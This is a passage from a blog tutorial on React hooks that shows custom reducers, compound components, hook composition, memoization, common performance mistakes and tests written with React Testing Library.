// Usage with custom reducer
function Counter() {
// Custom reducer that doesn't allow negative numbers
function customReducer(state, action) {
switch (action.type) {
case 'decrement':
// Don't allow negative numbers
return { count: Math.max(0, state.count - 1) };
default:
// For other actions, use the default reducer
return defaultReducer(state, action);
}
}

const [state, { increment, decrement, reset }] = useCounter({ count: 0 }, customReducer);

return (
<div>
Count: {state.count}
<button onClick={increment}>+</button>
<button onClick={decrement}>-</button>
<button onClick={reset}>Reset</button>
</div>
);
}

Compound Components Pattern

Use React context to create related components that share state:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import React, { useState, useContext, createContext } from 'react';

// Create context for the toggle state
const ToggleContext = createContext();

// Main Toggle component
function Toggle({ children }) {
const [on, setOn] = useState(false);
const toggle = () => setOn(!on);

return (
<ToggleContext.Provider value={{ on, toggle }}>
{children}
</ToggleContext.Provider>
);
}

// Child components
Toggle.On = function ToggleOn({ children }) {
const { on } = useContext(ToggleContext);
return on ? children : null;
};

Toggle.Off = function ToggleOff({ children }) {
const { on } = useContext(ToggleContext);
return on ? null : children;
};

Toggle.Button = function ToggleButton(props) {
const { on, toggle } = useContext(ToggleContext);
return (
<button onClick={toggle} {...props}>
{on ? 'ON' : 'OFF'}
</button>
);
};

// Usage
function App() {
return (
<Toggle>
<Toggle.Button />
<Toggle.On>The toggle is on!</Toggle.On>
<Toggle.Off>The toggle is off!</Toggle.Off>
</Toggle>
);
}

Hooks Composition

Compose multiple hooks together for complex functionality:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// Combine multiple hooks into one custom hook
function useUserProfile(userId) {
// Use our custom hooks
const { data: user, loading: userLoading, error: userError } = useFetch(`/api/users/${userId}`);
const { data: posts, loading: postsLoading, error: postsError } = useFetch(`/api/users/${userId}/posts`);
const { data: friends, loading: friendsLoading, error: friendsError } = useFetch(`/api/users/${userId}/friends`);

// Combine the loading states
const loading = userLoading || postsLoading || friendsLoading;

// Combine the error states
const error = userError || postsError || friendsError;

// Combine the data
const data = {
user,
posts,
friends
};

return { data, loading, error };
}

// Usage
function UserProfile({ userId }) {
const { data, loading, error } = useUserProfile(userId);

if (loading) return <Spinner />;
if (error) return <ErrorMessage error={error} />;

return (
<div>
<h1>{data.user.name}</h1>
<h2>Posts ({data.posts.length})</h2>
<PostList posts={data.posts} />
<h2>Friends ({data.friends.length})</h2>
<FriendList friends={data.friends} />
</div>
);
}

Performance Optimization

When to Memoize

  • Use React.memo for components that render often with the same props
  • Use useCallback for event handlers passed to optimized child components
  • Use useMemo for expensive calculations used in rendering
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import React, { useState, useCallback, useMemo } from 'react';

// Expensive calculation
function calculateFactorial(n) {
if (n <= 1) return 1;
return n * calculateFactorial(n - 1);
}

function FactorialCalculator() {
const [number, setNumber] = useState(5);
const [darkMode, setDarkMode] = useState(false);

// Memoize expensive calculation
const factorial = useMemo(() => {
console.log("Calculating factorial...");
return calculateFactorial(number);
}, [number]);

// Memoize event handler
const handleChange = useCallback((e) => {
setNumber(parseInt(e.target.value));
}, []);

// Memoize style object
const style = useMemo(() => ({
backgroundColor: darkMode ? '#333' : '#FFF',
color: darkMode ? '#FFF' : '#333',
}), [darkMode]);

return (
<div style={style}>
<label>
Number:
<input type="number" value={number} onChange={handleChange} />
</label>
<p>Factorial: {factorial}</p>
<button onClick={() => setDarkMode(!darkMode)}>
Toggle Dark Mode
</button>
</div>
);
}

// Use React.memo to prevent re-rendering when props don't change
const MemoizedFactorialDisplay = React.memo(function FactorialDisplay({ number, factorial }) {
console.log(`Rendering FactorialDisplay for ${number}`);
return <p>Factorial of {number} is {factorial}</p>;
});

Avoiding Common Performance Mistakes

  1. Creating Functions in Render: Each render creates new function instances
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Bad: Function recreated on every render
function BadExample() {
const [count, setCount] = useState(0);

return <button onClick={() => setCount(count + 1)}>Count: {count}</button>;
}

// Better: Use useCallback for handlers passed to child components
function BetterExample() {
const [count, setCount] = useState(0);

const handleClick = useCallback(() => {
setCount(prevCount => prevCount + 1);
}, []);

return <button onClick={handleClick}>Count: {count}</button>;
}
  1. Creating Objects in Render: Similar to functions, new objects cause unnecessary renders
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Bad: New object created on every render
function BadStyles() {
const [active, setActive] = useState(false);

// This style object is recreated on every render
const style = {
color: active ? 'red' : 'black',
fontWeight: active ? 'bold' : 'normal'
};

return <div style={style}>Text</div>;
}

// Better: Memoize object creation
function BetterStyles() {
const [active, setActive] = useState(false);

const style = useMemo(() => ({
color: active ? 'red' : 'black',
fontWeight: active ? 'bold' : 'normal'
}), [active]);

return <div style={style}>Text</div>;
}
  1. Not Adding Dependencies to useEffect: Can lead to stale closures
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Bad: Missing dependency
function BadEffect({ id }) {
const [data, setData] = useState(null);

useEffect(() => {
fetchData(id).then(setData);
// Missing id dependency ⚠️
}, []);

return <div>{data ? data.name : 'Loading...'}</div>;
}

// Better: Include all dependencies
function GoodEffect({ id }) {
const [data, setData] = useState(null);

useEffect(() => {
fetchData(id).then(setData);
}, [id]); // ✅ id dependency included

return <div>{data ? data.name : 'Loading...'}</div>;
}

Testing Hooks

Basic Testing with React Testing Library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// useCounter.js
import { useState } from 'react';

function useCounter(initialCount = 0) {
const [count, setCount] = useState(initialCount);

const increment = () => setCount(prevCount => prevCount + 1);
const decrement = () => setCount(prevCount => prevCount - 1);
const reset = () => setCount(initialCount);

return { count, increment, decrement, reset };
}

export default useCounter;

// useCounter.test.js
import { renderHook, act } from '@testing-library/react-hooks';
import useCounter from './useCounter';

test('should increment counter', () => {
const { result } = renderHook(() => useCounter());

act(() => {
result.current.increment();
});

expect(result.current.count).toBe(1);
});

test('should decrement counter', () => {
const { result } = renderHook(() => useCounter());

act(() => {
result.current.decrement();
});

expect(result.current.count).toBe(-1);
});

test('should reset counter', () => {
const { result } = renderHook(() => useCounter(10));

act(() => {
result.current.reset();
});

expect(result.current.count).toBe(10);
});

Testing Components that Use Hooks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// Counter.js
import React from 'react';
import useCounter from './useCounter';

function Counter() {
const { count, increment, decrement, reset } = useCounter(0);

return (
<div>
<p>Count: {count}</p>
<button onClick={increment}>Increment</button>
<button onClick={decrement}>Decrement</button>
<button onClick={reset}>Reset</button>
</div>
);
}

export default Counter;

// Counter.test.js
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
import Counter from './Counter';

test('renders counter with buttons', () => {
render(<Counter />);

expect(screen.getByText(/count: 0/i)).toBeInTheDocument();
expect(screen.getByText('Increment')).toBeInTheDocument();
expect(screen.getByText('Decrement')).toBeInTheDocument();
expect(screen.getByText('Reset')).toBeInTheDocument();
});

test('increments the count when increment button is clicked', () => {
render(<Counter />);

fireEvent.click(screen.getByText('Increment'));

expect(screen.getByText(/count: 1/i)).toBeInTheDocument();
});

test('decrements the count when decrement button is clicked', () => {
render(<Counter />);

fireEvent.click(screen.getByText('Decrement'));

expect(screen.getByText(/count: -1/i)).toBeInTheDocument();
});

test('resets the count when reset button is clicked', () => {
render(<Counter />);

fireEvent.click(screen.getByText('Increment'));
fireEvent.click(screen.getByText('Increment'));
fireEvent.click(screen.getByText('Reset'));

expect(screen.getByText(/count: 0/i)).toBeInTheDocument();
});

Learning Resources

  • React Hooks Documentation - Official docs
  • Thinking in React Hooks - Visual guide to hooks
  • useHooks - Collection of custom hooks
  • React Hooks Cheatsheet - Quick reference
  • Epic React - Kent C. Dodds’ courses on React
  • Making Sense of React Hooks - Dan Abramov’s explanation
  • A Complete Guide to useEffect - Deep dive on useEffect
  • Web Development
  • JavaScript
  • React
  • Frontend Framework
  • Hooks

show all >>

<< 上一页1…12131415下一页 >>

150 篇 | 131.7k
次 | 人
这里自动载入天数这里自动载入时分秒
2022-2025 loong loong | 新南威尔士龙龙号